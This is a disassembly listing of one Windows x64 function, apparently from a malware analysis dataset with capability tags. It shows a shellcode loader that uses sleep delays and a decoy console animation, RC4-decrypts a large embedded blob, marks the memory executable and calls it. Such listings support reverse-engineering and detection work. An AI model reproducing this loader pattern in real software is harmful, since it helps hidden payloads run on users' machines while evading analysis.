Function at 0x1400014e0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Manipulate console buffer
Terminate process

Disassembly:
push rdi
sub rsp, 0x5a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x140001941
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor edx, edx
mov r8, rax
mov rcx, rdi
call fcn.1400047e4
test eax, eax
jne 0x140001520
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x598], r13
movaps xmmword [rsp + 0x580], xmm6
xorps xmm6, xmm6
movaps xmmword [rsp + 0x570], xmm7
movss xmm7, dword [0x1401c2d60]
movaps xmmword [rsp + 0x560], xmm8
movss xmm8, dword [0x1401c2d5c]
nop word [rax + rax]
mov ecx, 0x3e8
addss xmm6, xmm7
call qword [sym.imp.KERNEL32.dll_Sleep]
comiss xmm8, xmm6
ja 0x140001560
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r13, rax
test rax, rax
jne 0x140001590
lea eax, [r13 + 1]
jmp 0x1400015c5
xor edx, edx
mov r8d, 0x700000
mov rcx, rax
mov qword [rsp + 0x5b8], rbp
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
jne 0x1400015ef
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
lea eax, [rbp + 1]
mov rbp, qword [rsp + 0x5b8]
movaps xmm6, xmmword [rsp + 0x580]
mov r13, qword [rsp + 0x598]
movaps xmm7, xmmword [rsp + 0x570]
movaps xmm8, xmmword [rsp + 0x560]
add rsp, 0x5a0
pop rdi
ret
mov qword [rsp + 0x5b0], rbx
mov qword [rsp + 0x5c0], rsi
xor esi, esi
mov qword [rsp + 0x5c8], r12
mov qword [rsp + 0x590], r14
mov ebx, esi
call fcn.1401440e4
inc rbx
mov edi, eax
mov eax, 0x92492493
imul edi
add edx, edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 7
sub edi, edx
mov byte [rbx + rbp - 1], dil
cmp rbx, 0x700000
jl 0x140001613
xor ecx, ecx
mov dword [rsp + 0x30], 0x6164722e
call fcn.140144110
mov rcx, rax
call fcn.1401440cc
mov r12d, 0x64
lea rbx, [rsp + 0xb4]
mov r14d, r12d
nop dword [rax + rax]
call fcn.1401440e4
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 4
sub edi, ecx
mov dword [rbx - 4], edi
call fcn.1401440e4
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x19
sub edi, edx
mov dword [rbx], edi
call fcn.1401440e4
add rbx, 0xc
mov edi, eax
mov eax, 0x55555556
imul edi
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub edi, ecx
inc edi
dec r14
mov dword [rbx - 8], edi
jne 0x140001670
mov r8d, dword [rsp + 0x30]
mov ecx, r8d
lea edx, [r8 - 0x6bbb2526]
and ecx, 7
imul r8d, r8d, 0xff455
imul edx, edx, 0x6bbb2528
xor edx, 0x6bbb43d4
mov edi, edx
shr edi, cl
lea rcx, [rsp + 0x31]
or edi, edx
xor edx, edx
add edi, r8d
lea r8d, [r14 + 0x7f]
xor edi, 0x207209
mov byte [rsp + 0x30], dil
call fcn.140145a60
mov ecx, 0x408
call fcn.140002404
lea rbx, [rsp + 0xb4]
mov r14, rax
nop dword [rax + rax]
mov ecx, dword [rbx + 4]
add ecx, dword [rbx]
mov dword [rbx], ecx
cmp ecx, 0x19
jl 0x140001771
mov dword [rbx], esi
call fcn.1401440e4
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 4
sub edi, ecx
mov dword [rbx - 4], edi
movzx eax, word [rbx - 4]
mov ecx, 0xfffffff5
mov word [rsp + 0x20], ax
movzx eax, word [rbx]
mov word [rsp + 0x22], ax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, dword [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov cl, 0x2a
call fcn.140001ba0
add rbx, 0xc
dec r12
jne 0x140001740
lea r9d, [r12 + 4]
mov edx, 0x700000
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
mov r12, rax
xor eax, eax
mov qword [r14], rsi
repne scasb al, byte [rdi]
mov edx, esi
lea rax, [r14 + 8]
not rcx
lea rbx, [rcx - 1]
nop word [rax + rax]
mov dword [rax], edx
inc edx
add rax, 4
cmp edx, 0x100
jl 0x1400017f0
mov r8d, esi
mov r11d, esi
mov r9, rsi
nop dword [rax]
mov edi, dword [r14 + r9*4 + 8]
mov eax, r8d
inc r8d
cdq
idiv ebx
mov eax, r11d
movsxd rcx, edx
cdq
idiv ebx
movzx eax, byte [rsp + rcx + 0x30]
add al, dl
add al, r11b
add al, dil
cmp r8d, ebx
movzx r11d, al
cmovge r8d, esi
inc r9
mov eax, dword [r14 + r11*4 + 8]
mov dword [r14 + r9*4 + 4], eax
mov dword [r14 + r11*4 + 8], edi
cmp r9, 0x100
jl 0x140001810
lea rdx, section._RDATA
mov rcx, r14
call fcn.1400010f0
mov r14, qword [rsp + 0x590]
mov rbx, qword [rsp + 0x5b0]
lea rcx, [0x140314240]
mov rdi, r12
mov edx, 0x1143ac
sub rdi, rcx
nop dword [rax + rax]
movzx eax, byte [rcx]
add rcx, 2
dec rdx
mov byte [rdi + rcx - 2], al
movzx eax, byte [rcx - 1]
mov byte [rdi + rcx - 1], al
jne 0x140001890
movss xmm8, dword [0x1401c2d58]
comiss xmm8, xmm6
jbe 0x1400018d5
nop word [rax + rax]
mov ecx, 0x3e8
addss xmm6, xmm7
call qword [sym.imp.KERNEL32.dll_Sleep]
comiss xmm8, xmm6
ja 0x1400018c0
call fcn.1401440e4
and eax, 0x80000001
jge 0x1400018e8
dec eax
or eax, 0xfffffffe
inc eax
mov byte [rsi + rbp], al
inc rsi
cmp rsi, 0x700000
jl 0x1400018d5
lea r9, [rsp + 0x24]
mov edx, 0x700000
mov r8d, 0x40
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r12
mov r8, rbp
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
mov r12, qword [rsp + 0x5c8]
mov rsi, qword [rsp + 0x5c0]
xor eax, eax
jmp 0x1400015bd
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]